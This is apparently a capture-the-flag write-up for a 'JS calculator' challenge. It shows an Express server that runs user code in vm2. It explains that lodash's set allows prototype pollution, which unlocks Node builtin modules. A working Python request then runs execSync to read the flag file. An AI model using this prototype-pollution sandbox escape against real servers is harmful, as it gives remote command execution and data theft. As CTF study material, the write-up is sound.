[Hard] JS calculator


Mamy kalkulator napisany w JS, który pozwala na wyliczanie dowolnych wyrażeń matematycznych. Dla celów bezpieczeństwa, kod wykonywany w JS jest sandboxowany. Celem jest odnalezienie sposobu na wyjście z sandboxa i odczyt zawartości pliku /home/user/flag.txt.


For this challenge we get a link to a JS calculator and source files for it.

The application is a simple webserver taking our code and parameters that runs it in a “vm”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require("express");
const app = express();
const { NodeVM } = require("vm2");
const { set } = require("lodash");

app.get("/exec", (req, res) => {
  const code = req.query.code;
  const params = {};

  if (!code) {
    return res.status(400).json({ error: 1 });
  }
  for (const [param, value] of Object.entries(req.query)) {
    set(params, param, value);
  }

  const ret = { val: undefined };

  try {
    new NodeVM({ sandbox: { Math, ret, params } }).run(code);
    res.json({ ret });
  } catch (ex) {
    res.json({ err: String(ex) });
  }
});

// [...]

The important thing to note here is versions of the packages since they are not necessarily the latest ones

1
2
3
4
5
  "dependencies": {
    "express": "^4.17.1",
    "lodash": "^4.17.11",
    "vm2": "^3.9.5"
  }

Specifically lodash, this version is vulnerable to prototype pollution when using set. (Snyk writeup of the vuln here)

With the possibility to pollute the object proto, we can now look into the vm2 module and see if there’s anything we could set that would allow us to run commands on the system.

As it turns out, there is a parameter in the options object that would allow us to require the standard library modules in nodejs.

1
require.builtin - Array of allowed builtin modules, accepts ["*"] for all (default: none).


To abuse this we can send a request that in addition to the code being passed in as the parameter will also have __proto__.require.builtin[] set to * which will allow us to import all the standard modules.

I ended up using requests to send the req with the parameters properly encoded.

1
2
3
4
5
6
7
8
import requests

r = requests.get('https://js-calculator.challenge.ctf.expert/exec', params={
    '__proto__.require.builtin[]': '*',
    'code': "ret.val = require('child_process').execSync('cat /home/user/flag.txt').toString()"
})

print(r.json())
1
{'ret': {'val': 'CTF_IHopeYouveSeenThePrototypePollutionTalk'}}